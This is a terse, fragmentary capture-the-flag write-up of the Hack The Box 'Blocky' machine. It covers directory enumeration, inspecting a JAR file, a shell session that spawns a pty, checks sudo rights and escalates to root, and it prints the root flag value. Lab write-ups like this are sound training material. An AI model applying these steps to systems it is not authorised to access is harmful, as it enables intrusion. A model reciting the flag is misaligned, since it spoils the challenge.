HTB — Blocky

Proper enumeration can reveal a path from initial access to root privileges.

when i am randomly click other area .click on Welcome to BlockyCraft! then found NOTCH.

first i was try it with Gobuster then see timeout that why am i using ffuf with timeout

I only found 2 interesting directories with all dir.

What are .jar files?

• A JAR (Java ARchive) is a package file format typically used to aggregate many Java class files and associated metadata and resources (text, images, etc.) into one file for distribution.
• Java Class files is a file (with the .class filename extension) containing Java bytecode that can be executed on the Java Virtual Machine (JVM).
• Java Class files are produced by Java Compiler from Java Programming language source files (.java files) containing Java classes

I started with BlockyCore.jar file

Done root

UsEr FlAg:

RooT Flag:

notch@Blocky:~$ export TERM=xterm

notch@Blocky:~$ python3 -c 'import pty; pty.spawn("/bin/bash")' To run a command as administrator (user "root"), use "sudo ". See "man sudo_root" for details.

notch@Blocky:~$ sudo -l [sudo] password for notch: Matching Defaults entries for notch on Blocky: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User notch may run the following commands on Blocky: (ALL : ALL) ALL

notch@Blocky:~$ sudo -i

root@Blocky:~# ls root.txt

root@Blocky:~# cat root.txt 50dc24479f571d380b120a7782b3359f root@Blocky:~#